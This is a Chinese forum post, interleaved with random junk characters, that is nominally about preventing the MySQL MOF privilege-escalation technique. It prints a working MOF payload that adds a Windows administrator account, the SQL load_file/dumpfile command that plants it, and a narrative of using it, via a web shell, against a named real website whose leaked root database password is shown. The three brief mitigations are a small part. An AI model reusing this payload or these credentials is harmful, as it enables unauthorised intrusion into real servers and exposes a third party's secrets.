Mysql mof扩展漏洞防范方法
. d& T' z( y; @3 e; ~1 l' p
" @& ~2 H" N8 u8 ? ^7 l; k网上公开的一些利用代码:
) Y& @) \3 Y6 F6 Y, n7 v! X- q6 P! U7 j" i1 F/ k! ^
#pragma namespace(“\\\\.\\root\\subscription”)
, k+ o3 X4 a4 S' C" D: v" V) S
* G" H. F5 A' s2 g( C) P7 tinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
7 W H* K; h) U$ z( [; n4 W
0 }, @0 J0 |5 z( w7 @" M4 {
+ x( [) Y+ A. }& f4 X
, W; c6 E( i( W+ j4 G( f ?
. ]! F4 H5 V$ f9 F S& m" o! e2 G% V, Z. x; U) b
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;2 I) T6 p( G, ~0 ]) {; i, z
从上面代码来看得出解决办法:( C* Q. A- i: [# P9 m5 z
9 e) Q/ i5 \% z
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数7 z' q: f- z+ h1 a0 C% R
" O# v4 p6 Z# [. i* n% J0 P2、禁止使用”WScript.Shel”组件# ]- x! x& [' v* A
$ S0 N' e' m( o! A2 E& g% L4 z8 G3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER8 V; [7 s; V9 V3 ?. k
( L& o4 ^, l1 C: F3 u c4 j- D
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下2 x$ v* i C( l
5 r/ s7 M6 {3 |# B
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
1 p7 ?1 h( l0 u* v( _: h L
* w8 c9 d& E9 e, b但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
! B% M$ w/ b9 ~
5 n: @# f: q! V* _! m看懂了后就开始练手吧
- b8 y- v+ _: `7 x9 C8 ]6 D, l1 I
. n# F3 r, |# [# {& ^http://www.webbmw.com/config/config_ucenter.php 一句话 a5 T$ p* [ O9 w7 L1 d0 u
1 h- _8 k/ k: s) `4 w" h
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。+ W" z4 t% l; X R6 B% e" _0 e
! c3 ^9 v2 U* b( J! ^于是直接用菜刀开搞
, G( Z: Q2 l/ u3 ^ c# g7 N- @) |
上马先) ], c' U. g" z+ @ A5 S( I
$ {0 v3 ?7 w F& o1 f) O既然有了那些账号 之类的 于是我们就执行吧…….
1 ~3 F$ v) U& i! ~3 ~" Q. l( a/ k" j
小小的说下! K8 T' n% P. O. o* U" q
( _! I& W4 v) }" N9 e9 @
在这里第1次执行未成功 原因未知
$ ]0 y' T% D$ x+ r- u
0 e- F) e0 R6 j8 \! A, u7 x, F我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
9 A% F# ^7 ]6 o. y1 E- o5 t' a& O L
#pragma namespace(“\\\\.\\root\\subscription”)$ u& K7 s. u2 p, w' |( O6 }, L
8 q! f5 B% E9 ?7 f- einstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };# I/ D1 f- }! a+ Q
) M6 t; K: r6 u( [/ q我是将文件放到C:\WINDOWS\temp\1.mof
9 U& p* u3 h( ]& W
* @6 U0 M7 B( b: E& d所以我们就改下执行的代码
5 D" X4 {" L/ {8 H# F
/ E& ?$ s! O" W' M! }select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;" b G2 P f" D B
8 c0 i" S, |$ i) j
* N' S2 M* I% S! P
& J- P0 E! i1 v& h3 k- }, v但是 你会发现账号还是没有躺在那里。。
6 D; R7 U/ ?' X, \& D/ w) ]% e8 {" l+ E. ^) w
于是我就感觉蛋疼
, y. X: @+ _1 {: `3 u
9 t" Q. @8 m T就去一个一个去执行 但是执行到第2个 mysql时就成功了………/ r% `3 V3 r- E
( G5 K ~$ \& l4 {: \% C
- l# L, H1 o- l1 P! F% \
* v& T0 n# v' P, ^! r但是其他库均不成功…" c& k% B) w# A" O
3 V0 ]+ T. m2 |9 @
我就很费解呀 到底为什么不成功求大牛解答…" l. m0 d5 D- A, I: [
G- y3 ^1 v& ^" G8 \
/ S; k, t5 E, P/ u. t, L2 q4 `2 Z: z
. }" Y* h, O& |4 j
|